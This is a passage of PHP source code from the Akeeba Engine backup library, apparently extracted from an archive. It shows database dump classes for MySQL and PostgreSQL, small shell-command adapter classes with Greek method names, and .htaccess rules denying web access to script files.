				Factory::getLog()->debug("Writing data dump epilogue for " . $this->nextTable->abstractName);
				$epilogue = $this->getDataDumpEpilogue(
					$this->nextTable->abstractName, $this->nextTable->name, $this->maxRange
				);

				if (!empty($epilogue) && !$this->writeDump($epilogue, true))
				{
					return;
				}
			}

			if ($this->entities->isEmpty())
			{
				// We have finished dumping the database!
				Factory::getLog()->info("End of database detected; flushing the dump buffers...");
				$this->writeDump(null);
				Factory::getLog()->info("Database has been successfully dumped to SQL file(s)");
				$this->setState(self::STATE_POSTRUN);
				$this->setStep('');
				$this->setSubstep('');
				$this->nextTable = null;
				$this->nextRange = 0;

				/**
				 * At the end of the database dump, if any query was longer than 1Mb, let's put a warning file in the
				 * installation folder, but ONLY if the backup is not a SQL-only backup (which has no backup archive).
				 */
				$isSQLOnly = $configuration->get('akeeba.basic.backup_type') == 'dbonly';

				if (!$isSQLOnly && ($this->largest_query >= 1024 * 1024))
				{
					$archive = Factory::getArchiverEngine();
					$archive->addFileVirtual(
						'large_tables_detected', $this->installerSettings->installerroot, $this->largest_query
					);
				}
			}
			else
			{

				// Switch tables
				$this->goToNextTable();
				$this->setStep($this->nextTable->name);
				$this->setSubstep('');
			}
		}
	}

	/**
	 * Detect the auto_increment field of the table being currently backed up.
	 *
	 * This method populates the $this->table_autoincrement array.
	 *
	 * @return  void
	 */
	private function setAutoIncrementInfo(): void
	{
		$this->table_autoincrement = [
			'table' => $this->nextTable,
			'field' => null,
			'value' => null,
		];

		$db = $this->getDB();

		$query   = 'SHOW COLUMNS FROM ' . $db->qn($this->nextTable->name) . ' WHERE ' . $db->qn('Extra') . ' = ' .
		           $db->q('auto_increment') . ' AND ' . $db->qn('Null') . ' = ' . $db->q('NO');
		$keyInfo = $db->setQuery($query)->loadAssocList();

		if (!empty($keyInfo))
		{
			$row                                = array_shift($keyInfo);
			$this->table_autoincrement['field'] = $row['Field'];
		}
	}

	/**
	 * Get the default database dump batch size from the configuration
	 *
	 * @return  int
	 */
	private function getDefaultBatchSize(): ?int
	{
		$configuration = Factory::getConfiguration();
		$batchSize     = intval($configuration->get('engine.dump.common.batchsize', 100000));

		if ($batchSize <= 0)
		{
			$batchSize = 100000;
		}

		return $batchSize;
	}

	/**
	 * Get the optimal row batch size for a given table based on the available memory
	 *
	 * @param   string  $tableAbstract  The abstract table name, e.g. #__foobar
	 *
	 * @return  int
	 */
	private function getOptimalBatchSize($tableAbstract)
	{
		$db = $this->getDB();

		try
		{
			$info = $db->setQuery('SHOW TABLE STATUS LIKE ' . $db->q($tableAbstract))->loadAssoc();
		}
		catch (Exception $e)
		{
			return $this->defaultBatchSize;
		}

		if (!isset($info['Avg_row_length']) || empty($info['Avg_row_length']))
		{
			return $this->defaultBatchSize;
		}

		// That's the average row size as reported by MySQL.
		$avgRow = str_replace([',', '.'], ['', ''], $info['Avg_row_length']);
		// The memory available for manipulating data is less than the free memory
		$memoryLimit = $this->getMemoryLimit();
		$memoryLimit = empty($memoryLimit) ? 33554432 : $memoryLimit;
		$usedMemory  = memory_get_usage();
		$memoryLeft  = 0.75 * ($memoryLimit - $usedMemory);
		// The 3.25 factor is empirical and leans on the safe side.
		$maxRows = (int) ($memoryLeft / (3.25 * $avgRow));

		return max(1, min($maxRows, $this->defaultBatchSize));
	}

	/**
	 * Applies the SQL compatibility setting
	 *
	 * @return  void
	 */
	private function enforceSQLCompatibility()
	{
		try
		{
			$this->getDB()->setQuery('SET sql_big_selects=1')->query();
		}
		catch (Throwable $e)
		{
			// Do nothing; some versions of MySQL don't allow you to use the BIG_SELECTS option.
		}
		finally
		{
			$this->getDB()->resetErrors();
		}
	}

	/**
	 * Gets the row count for table $tableAbstract. Also updates the $this->maxRange variable.
	 *
	 * @param   string  $tableAbstract  The abstract name of the table (works with canonical names too, though)
	 *
	 * @return  void
	 *
	 * @throws  QueryException
	 */
	private function getRowCount($tableAbstract)
	{
		$db = $this->getDB();

		$sql = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select('COUNT(*)')
			->from($db->nameQuote($tableAbstract));

		$errno = 0;
		$error = '';

		try
		{
			$db->setQuery($sql);
			$this->maxRange = $db->loadResult();

			if (is_null($this->maxRange))
			{
				$errno = $db->getErrorNum();
				$error = $db->getErrorMsg(false);
			}
		}
		catch (Exception $e)
		{
			$this->maxRange = null;
			$errno          = $e->getCode();
			$error          = $e->getMessage();
		}

		if (is_null($this->maxRange))
		{
			Factory::getLog()->warning("Cannot get number of rows of $tableAbstract. MySQL error $errno: $error");

			return;
		}

		Factory::getLog()->debug("Rows on " . $tableAbstract . " : " . $this->maxRange);
	}

	/**
	 * Return a list of columns and their data types.
	 *
	 * @param   string  $tableAbstract
	 *
	 * @return  array  An array of table columns and their data types.
	 */
	private function getColumnTypes($tableAbstract)
	{
		if ($this->lastTableColumnType == $tableAbstract)
		{
			return $this->columnListColumnType;
		}

		$this->lastTableColumnType = $tableAbstract;

		try
		{
			$db = $this->getDB();

			$db->setQuery('SHOW COLUMNS FROM ' . $db->qn($tableAbstract));

			$tableCols = $db->loadAssocList();
		}
		catch (Exception $e)
		{
			return $this->columnListColumnType;
		}

		foreach ($tableCols as $col)
		{
			$typeParts                                 = explode('(', $col['Type'], 2);
			$this->columnListColumnType[$col['Field']] = strtoupper($typeParts[0]);
		}

		return $this->columnListColumnType;
	}
}PK     \\SQ  Q  2  vendor/akeeba/engine/engine/Dump/Native/Sqlite.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Dump\Native;

defined('AKEEBAENGINE') || die();

use RuntimeException;

/**
 * Dump class for the "None" database driver (ie no database used by the application)
 */
#[\AllowDynamicProperties]
class Sqlite extends None
{
	public function __construct()
	{
		parent::__construct();

		throw new RuntimeException("Please do not add SQLite databases, they are files. If they are under your site's root they are backed up automatically. Otherwise use the Off-site Directories Inclusion to include them in the backup.");
	}

}
PK     \"I  I  A  vendor/akeeba/engine/engine/Dump/Native/Pgsql/Adapter/Sistima.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Dump\Native\Pgsql\Adapter;

defined('AKEEBAENGINE') || die();

/**
 * @since  10.3
 */
class Sistima implements AdapterInterface
{
	public function diathesimo(): bool
	{
		return function_exists('system');
	}

	public function ektelesi(string $command, array &$output): int
	{
		$suffix   = PHP_OS_FAMILY === 'Windows' ? '' : ' 2>&1';
		$exitCode = -1;

		ob_start();
		@system($command . $suffix, $exitCode);
		$result = ob_get_clean();
		$output = explode("\n", rtrim($result));

		return (int) $exitCode;
	}
}
PK     \"M  M  I  vendor/akeeba/engine/engine/Dump/Native/Pgsql/Adapter/EktelesiKelifos.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Dump\Native\Pgsql\Adapter;

defined('AKEEBAENGINE') || die();

/**
 * @since  10.3
 */
class EktelesiKelifos implements AdapterInterface
{
	public function diathesimo(): bool
	{
		return function_exists('shell_exec');
	}

	public function ektelesi(string $command, array &$output): int
	{
		$suffix = PHP_OS_FAMILY === 'Windows' ? '' : ' 2>&1';
		$result = @shell_exec($command . $suffix);

		if ($result !== null)
		{
			$output = explode("\n", rtrim($result));

			return 0;
		}

		$output = [];

		return -1;
	}
}
PK     \nE  E  J  vendor/akeeba/engine/engine/Dump/Native/Pgsql/Adapter/AdapterInterface.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Dump\Native\Pgsql\Adapter;

defined('AKEEBAENGINE') || die();

/**
 * Διεπαφή μετατροπέα εκτέλεσης σε γραμμή εντολών.
 *
 * Comments are in Greek because shoddy av software throws false positives on certain English keywords.
 *
 * @since  10.3
 */
interface AdapterInterface
{
	/**
	 * Επιστρέφει αληθές αν η συνάρτηση υπάρχει και είναι ενεργή.
	 *
	 * @return  bool
	 * @since   10.3
	 */
	public function diathesimo(): bool;

	/**
	 * Τρέχει την εντολή.
	 *
	 * @param   string   $command  Προς εκτέλεση εντολή
	 * @param   array   &$output   Συνδυασμένη κανονική έξοδος και έξοδος μηνυμάτων σφάλματος.
	 *
	 * @return  int  Ο κωδικός κατάστασης που επεστράφη. Η τιμή -1 δηλώνει μη διαθεσιμότητα.
	 * @since   10.3
	 */
	public function ektelesi(string $command, array &$output): int;
}
PK     \lR  R  F  vendor/akeeba/engine/engine/Dump/Native/Pgsql/Adapter/Diapernontas.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Dump\Native\Pgsql\Adapter;

defined('AKEEBAENGINE') || die();

/**
 * @since  10.3
 */
class Diapernontas implements AdapterInterface
{
	public function diathesimo(): bool
	{
		return function_exists('passthru');
	}

	public function ektelesi(string $command, array &$output): int
	{
		$suffix   = PHP_OS_FAMILY === 'Windows' ? '' : ' 2>&1';
		$exitCode = -1;

		ob_start();
		@passthru($command . $suffix, $exitCode);
		$result = ob_get_clean();
		$output = explode("\n", rtrim($result));

		return (int) $exitCode;
	}
}
PK     \%    F  vendor/akeeba/engine/engine/Dump/Native/Pgsql/Adapter/ApliEktelesi.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Dump\Native\Pgsql\Adapter;

defined('AKEEBAENGINE') || die();

/**
 * @since  10.3
 */
class ApliEktelesi implements AdapterInterface
{
	public function diathesimo(): bool
	{
		return function_exists('exec');
	}

	public function ektelesi(string $command, array &$output): int
	{
		$suffix   = PHP_OS_FAMILY === 'Windows' ? '' : ' 2>&1';
		$exitCode = -1;

		@exec($command . $suffix, $output, $exitCode);

		return (int) $exitCode;
	}
}
PK     \Sʉ      ?  vendor/akeeba/engine/engine/Dump/Native/Pgsql/Adapter/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ      7  vendor/akeeba/engine/engine/Dump/Native/Pgsql/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \cy    6  vendor/akeeba/engine/engine/Dump/Native/Postgresql.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Dump\Native;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Dump\Base;
use Akeeba\Engine\Dump\Dependencies\Entity;
use Akeeba\Engine\Dump\Dependencies\Resolver;
use Akeeba\Engine\Dump\Native\MySQL\BadEntityNamesTrait;
use Akeeba\Engine\Dump\Native\MySQL\DropStatementTrait;
use Akeeba\Engine\Dump\Native\Pgsql\Adapter\AdapterInterface;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Util\Collection;
use Akeeba\Engine\Util\Phin;
use Countable;
use Exception;
use RuntimeException;
use Throwable;

/**
 * PostgreSQL native dump engine adapter.
 */
class Postgresql extends Base
{
	use BadEntityNamesTrait;
	use DropStatementTrait;

	/**
	 * The schema to use. Defaults to 'public'.
	 *
	 * @var   string
	 * @since 10.3
	 */
	protected $schema = 'public';

	/**
	 * The largest query encountered so far.
	 *
	 * @var   string
	 * @since 10.3
	 */
	protected $largest_query = 0;

	/**
	 * The database root filter path
	 * @var   string|null
	 * @since 10.3
	 */
	private ?string $dbRoot;

	/**
	 * The primary key structure of the currently backed up table. The keys contained are:
	 * - table        The name of the table being backed up
	 * - field        The name of the primary key field
	 * - value        The last value of the PK field
	 *
	 * @var array
	 */
	protected $table_autoincrement = [
		'table' => null,
		'field' => null,
		'value' => null,
	];

	/** @var Entity|null The next table or DB entity to back up */
	protected $nextTable;

	private $columnListColumnType = [];

	private $columnListSelectColumn = '*';

	private $lastTableColumnType = null;

	private $lastTableSelectColumn = null;

	private Collection $entities;

	private bool $useAbstractNames;

	private bool $mustFilterRows;

	private bool $mustFilterContents;

	private int $defaultBatchSize;

	private bool $createDropStatements;

	/**
	 * Constructor for the class.
	 *
	 * Initialises the database root directory based on configuration settings or defaults to '[SITEDB]'.
	 *
	 * @return  void
	 * @since   10.3
	 */
	public function __construct()
	{
		parent::__construct();

		$engineParams                 = Factory::getEngineParamsProvider();
		$this->useAbstractNames       = $engineParams->getScriptingParameter('db.abstractnames', 1) == 1;
		$this->createDropStatements   = $engineParams->getScriptingParameter('db.dropstatements', 0) == 1;

		$this->dbRoot = Factory::getConfiguration()->get('volatile.database.root', '[SITEDB]');

		$filters                  = Factory::getFilters();
		$this->mustFilterRows     = $filters->hasFilterType('dbobject', 'children');
		$this->mustFilterContents = $filters->canFilterDatabaseRowContent();

		$this->defaultBatchSize = $this->getDefaultBatchSize();
	}

	/**
	 * Get the current DB name, as reported by the DB server.
	 *
	 * @return  string
	 */
	protected function getDatabaseNameFromConnection(): string
	{
		try
		{
			return $this->getDB()->setQuery('SELECT current_database()')->loadResult() ?: '';
		}
		catch (Throwable $e)
		{
			return '';
		}
	}

	protected function getSchemaName(): string
	{
		if (empty($this->schema) && $this->schema !== '0')
		{
			$this->schema = $this->getSchemaNameFromConnection();
		}

		return $this->schema;

	}

	/**
	 * Get the current schema name, as reported by the DB server.
	 *
	 * @return  string
	 */
	protected function getSchemaNameFromConnection(): string
	{
		try
		{
			return $this->getDB()->setQuery('SELECT current_schema()')->loadResult() ?: '';
		}
		catch (Throwable $e)
		{
			return 'public';
		}
	}

	/**
	 * Return a list of columns to use in the SELECT query for dumping table data.
	 *
	 * This is used to filter out all generated rows.
	 *
	 * @param   string  $tableAbstract
	 *
	 * @return  string|array  An array of table columns, or the string literal '*' to quickly select all columns.
	 *
	 * @see  https://dev.mysql.com/doc/refman/5.7/en/create-table-generated-columns.html
	 */
	protected function getSelectColumns($tableAbstract)
	{
		if ($this->lastTableSelectColumn === $tableAbstract)
		{
			return $this->columnListSelectColumn;
		}

		$this->lastTableSelectColumn  = $tableAbstract;
		$this->columnListSelectColumn = '*';

		$db      = $this->getDB();

		try
		{
			$query = $db
				->createQuery(true)
				->select([
					$db->quoteName('column_name'),
					$db->quoteName('data_type'),
					$db->quoteName('is_nullable'),
					$db->quoteName('column_default'),
					$db->quoteName('is_generated'),
					$db->quoteName('is_updatable'),
				])
				->from($db->quoteName('information_schema.columns'))
				->where([
					$db->quoteName('table_catalog') . '=' . $db->quote($this->getDatabaseName()),
					$db->quoteName('table_schema') . '=' . $db->quote($this->getSchemaName()),
					$db->quoteName('table_name') . '=' . $db->quote($tableAbstract),
				]);

			$tableCols = $db->setQuery($query)->loadAssocList();
		}
		catch (Throwable $e)
		{
			return $this->columnListSelectColumn;
		}

		$totalColumns                 = empty($tableCols) ? 0 : count($tableCols);
		$this->columnListSelectColumn = [];

		foreach ($tableCols as $col)
		{
			// Skip over generated columns
			if (strtoupper(trim($col['is_generated'] ?: '')) !== 'NEVER')
			{
				continue;
			}

			$this->columnListSelectColumn[] = $col['column_name'];
		}

		if ($totalColumns === count($this->columnListSelectColumn))
		{
			$this->columnListSelectColumn = '*';
		}

		return $this->columnListSelectColumn;
	}

	/**
	 * Returns a list of all tables in the database.
	 *
	 * @return  array
	 * @since   10.3
	 */
	public function getAllTables(): array
	{
		$db    = $this->getDB();
		$query = $db->getQuery(true)
			->select('table_name')
			->from('information_schema.tables')
			->where($db->quoteName('table_schema') . '=' . $db->quote($this->schema));

		try
		{
			return $db->setQuery($query)->loadResultArray() ?: [];
		}
		catch (Throwable $e)
		{
			return [];
		}
	}

	/**
	 * Method to retrieve tables and database objects that need to be backed up.
	 *
	 * This method populates the internal entity collection with information about
	 * tables, views, functions, procedures, and triggers within the current schema. It
	 * queries the information_schema for these entities and adds them to a backup list,
	 * filtering out any errors during the retrieval process without interrupting normal
	 * execution.
	 *
	 * @return  void
	 * @since   10.3
	 */
	public function getTablesToBackup(): void
	{
		$db             = $this->getDB();
		$this->entities = new Collection();

		$this->entities = $this->entities->merge($this->getRoutinesCollection('procedure'));
		$this->entities = $this->entities->merge($this->getRoutinesCollection('function'));
		$this->entities = $this->entities->merge(
			$this->resolveDependencies($this->getTablesViewCollection())->values()
		);
		// Triggers are automatically dumped together with the table; there is no way to not dump them.
		// $this->entities = $this->entities->merge($this->getRoutinesCollection('trigger'));

		// Create a naming map
		$this->table_name_map = array_combine(
			$this->entities->map(fn(Entity $e) => $e->name)->toArray(),
			$this->entities->map(fn(Entity $e) => $e->abstractName)->toArray()
		);

		/**
		 * Store all abstract entity names (tables, views, triggers etc) into a volatile variable, so we can fetch
		 * it later when creating the databases.json file
		 */
		if ($this->installerSettings->typedtablelist ?? false)
		{
			// BRS 10.x: typed list of entities
			$typedEntityList = [];

			/** @var \Akeeba\Engine\Dump\Dependencies\Entity $entity */
			foreach ($this->entities as $entity)
			{
				$typedEntityList[$entity->getType()] ??= [];
				$typedEntityList[$entity->getType()][] = $entity->getAbstractName();
			}

			Factory::getConfiguration()->set('volatile.database.table_names', $typedEntityList);
		}
		else
		{
			// Support for legacy installers: flat list of entity names
			Factory::getConfiguration()->set('volatile.database.table_names', array_values($this->table_name_map));
		}
	}

	/**
	 * Populate the next entity to back up.
	 *
	 * @return  void
	 * @since   10.3
	 */
	protected function goToNextTable(): void
	{
		$this->nextTable = $this->entities->shift();
		$this->nextRange = 0;
	}

	/**
	 * Prepares the engine for dumping the database.
	 *
	 * @since   10.3
	 */
	protected function _prepare()
	{
		parent::_prepare();

		$this->schema = $this->_parametersArray['schema'] ?? $this->getSchemaName();

		if (empty($this->schema))
		{
			$this->schema = 'public';
		}
	}

	/**
	 * Main backup loop.
	 */
	protected function stepDatabaseDump(): void
	{
		$db = $this->getDB();
		$configuration = Factory::getConfiguration();
		$filters       = Factory::getFilters();

		if (!is_object($db) || ($db === false))
		{
			throw new RuntimeException(__CLASS__ . '::_run() Could not connect to database?!');
		}

		// Touch SQL dump file
		$nada = "";
		$this->writeline($nada);

		// Get this table's information
		$this->setStep($this->nextTable->name);
		$this->setSubstep('');

		// Restore any previously information about the largest query we had to run
		$this->largest_query = Factory::getConfiguration()->get('volatile.database.largest_query', 0);

		// If it is the first run, find number of rows and get the DDL.
		if ($this->nextRange == 0)
		{
			try
			{
				$outCreate = $this->getCreateStatement(
					$this->nextTable->abstractName, $this->nextTable->name, $this->nextTable->type, $this->createDropStatements
				);
			}
			catch (Exception $e)
			{
				$outCreate = '';
			}

			if (empty($outCreate))
			{
				Factory::getLog()->warning(
					sprintf(
						"Cannot get the CREATE statement for %s %s -- skipping", $this->nextTable->type,
						$this->nextTable->abstractName
					)
				);

				$this->nextRange = 1;
				$this->maxRange  = 0;
			}
			else
			{
				$statements = $this->splitSql($outCreate);
				$suffix = "/*ABDE:{$this->nextTable->abstractName}*/\n";

				foreach ($statements as $statement)
				{
					if (!$this->writeDump($statement . $suffix, true))
					{
						return;
					}
				}
			}


			if ($this->nextTable->dumpContents)
			{
				// We are dumping data from a table, get the row count
				$this->getRowCount($this->nextTable->abstractName);

				// If we can't get the row count we cannot back up this table's data
				if (is_null($this->maxRange))
				{
					Factory::getLog()->warning(
						sprintf(
							"Cannot get the row count for %s %s -- skipping data dump", $this->nextTable->type,
							$this->nextTable->abstractName
						)
					);

					$this->nextRange = 1;
					$this->maxRange  = 0;
				}
			}
			else
			{
				/**
				 * Do NOT move this line to the if-block below. We need to only log this message on tables which are
				 * filtered, not on tables we simply cannot get the row count information for!
				 */
				Factory::getLog()->info(
					sprintf("Skipping dumping data of %s %s", $this->nextTable->type, $this->nextTable->abstractName)
				);
			}

			// The table is either filtered, or we cannot get the row count. Either way we should not dump any data.
			if (!$this->nextTable->dumpContents)
			{
				$this->nextRange = 1;
				$this->maxRange  = 0;
			}

			// Output any data preamble commands, e.g. SET IDENTITY_INSERT for SQL Server
			if ($this->nextTable->dumpContents && $this->createDropStatements)
			{
				$preamble = $this->getDataDumpPreamble(
					$this->nextTable->abstractName, $this->nextTable->name, $this->maxRange
				);

				if (!empty($preamble))
				{
					Factory::getLog()->debug("Writing data dump preamble for " . $this->nextTable->abstractName);

					if (!$this->writeDump($preamble, true))
					{
						return;
					}
				}
			}

			$this->nextRange ??= 0;
			$this->maxRange  ??= 0;
		}

		// Get the table's auto increment information
		if ($this->nextTable->dumpContents && $this->nextRange < $this->maxRange)
		{
			$this->setAutoIncrementInfo();
		}

		// Get the default and the current (optimal) batch size
		$batchSize = $configuration->get('volatile.database.batchsize', $this->defaultBatchSize);

		// Check if we have more work to do on this table
		if ($this->nextRange < $this->maxRange)
		{
			$timer = Factory::getTimer();

			// Get the number of rows left to dump from the current table
			$columns         = $this->getSelectColumns($this->nextTable->abstractName);
			$columnTypes     = $this->getColumnTypes($this->nextTable->abstractName);
			$columnsForQuery = is_array($columns) ? array_map([$db, 'qn'], $columns) : $columns;
			$sql             = $db->getQuery(true)
				->select($columnsForQuery)
				->from($db->nameQuote($this->nextTable->abstractName));

			if (!is_null($this->table_autoincrement['field']))
			{
				$sql->order($db->qn($this->table_autoincrement['field']) . ' ASC');
			}

			if ($this->nextRange == 0)
			{
				// Get the optimal batch size for this table and save it to the volatile data
				$batchSize = $this->getOptimalBatchSize($this->nextTable->abstractName);
				$configuration->set('volatile.database.batchsize', $batchSize);

				// First run, get a cursor to all records
				$db->setQuery($sql, 0, $batchSize);
				Factory::getLog()->info("Beginning dump of " . $this->nextTable->abstractName);
				Factory::getLog()->debug("Up to $batchSize records will be read at once.");
			}
			else
			{
				// Subsequent runs, get a cursor to the rest of the records
				$this->setSubstep($this->nextRange . ' / ' . $this->maxRange);

				// If we have an auto_increment value and the table has over $batchsize records use the indexed select instead of a plain limit
				if (!is_null($this->table_autoincrement['field']) && !is_null($this->table_autoincrement['value']))
				{
					Factory::getLog()
						->info(
							"Continuing dump of " . $this->nextTable->abstractName
							. " from record #{$this->nextRange} using auto_increment column {$this->table_autoincrement['field']} and value {$this->table_autoincrement['value']}"
						);
					$sql->where(
						$db->qn($this->table_autoincrement['field']) . ' > ' . $db->q(
							$this->table_autoincrement['value']
						)
					);
					$db->setQuery($sql, 0, $batchSize);
				}
				else
				{
					Factory::getLog()
						->info(
							"Continuing dump of " . $this->nextTable->abstractName
							. " from record #{$this->nextRange}"
						);
					$db->setQuery($sql, $this->nextRange, $batchSize);
				}
			}

			$this->query = '';
			$numRows     = 0;

			try
			{
				$cursor = $db->query();
			}
			catch (Exception $exc)
			{
				// Issue a warning about the failure to dump data
				$errno = $exc->getCode();
				$error = $exc->getMessage();
				Factory::getLog()->warning(
					"Failed dumping {$this->nextTable->abstractName} from record #{$this->nextRange}. MySQL error $errno: $error"
				);

				// Reset the database driver's state (we will try to dump other tables anyway)
				$db->resetErrors();
				$cursor = null;

				// Mark this table as done since we are unable to dump it.
				$this->nextRange = $this->maxRange;
			}

			$statsTableAbstract = Platform::getInstance()->tableNameStats;

			while (is_array($myRow = $db->fetchAssoc()) && ($numRows < ($this->maxRange - $this->nextRange)))
			{
				if (!$this->createNewPartIfRequired())
				{
					/**
					 * When createNewPartIfRequired returns false it means that we have began adding a SQL part to the
					 * backup archive but it hasn't finished. If we don't return here, the code below will keep adding
					 * data to that dump file. Yes, despite being closed. When you call writeDump the file is reopened.
					 * As a result of writing data of length Y, the file that had a size X now has a size of X + Y. This
					 * means that the loop in BaseArchiver which tries to add it to the archive will never see its End
					 * Of File since we are trying to resume the backup from *beyond* the file position that was
					 * recorded as the file size. The archive can detect a file shrinking but not a file growing!
					 * Therefore we hit an infinite loop a.k.a. runaway backup.
					 */
					return;
				}

				$numRows++;
				$numOfFields = is_array($myRow) || $myRow instanceof Countable ? count($myRow) : 0;

				// On MS SQL Server there's always a RowNumber pseudocolumn added at the end, screwing up the backup (GRRRR!)
				if ($db->getDriverType() == 'mssql')
				{
					$numOfFields--;
				}

				if ($numOfFields === 0)
				{
					Factory::getLog()->warning(
						sprintf(
							"No columns for %s %s -- skipping data dump.",
							$this->nextTable->type, $this->nextTable->abstractName
						)
					);

					$numRows = $this->maxRange - $this->nextRange;

					break;
				}

				// If row-level filtering is enabled, please run the filtering
				if ($this->mustFilterRows)
				{
					$isFiltered = $filters->isFiltered(
						[
							'table' => $this->nextTable->abstractName,
							'row'   => $myRow,
						],
						$this->dbRoot,
						'dbobject',
						'children'
					);

					if ($isFiltered)
					{
						// Update the auto_increment value to avoid edge cases when the batch size is one
						if (!is_null($this->table_autoincrement['field'])
						    && isset($myRow[$this->table_autoincrement['field']]))
						{
							$this->table_autoincrement['value'] = $myRow[$this->table_autoincrement['field']];
						}

						continue;
					}
				}

				if ($this->mustFilterContents)
				{
					$filters->filterDatabaseRowContent($this->dbRoot, $this->nextTable->abstractName, $myRow);
				}

				// Add header on simple INSERTs, or on extended INSERTs if there are no other data, yet
				$newQuery = false;

				if (
					!$this->extendedInserts || ($this->extendedInserts && empty($this->query))
				)
				{
					$newQuery  = true;
					$fieldList = $this->getFieldListSQL($columns);

					$this->query = "INSERT INTO " . $db->nameQuote(
							(!$this->useAbstractNames ? $this->nextTable->name : $this->nextTable->abstractName)
						) . " {$fieldList} VALUES \n";
				}

				$outData = '(';

				// Step through each of the row's values
				$fieldID = 0;

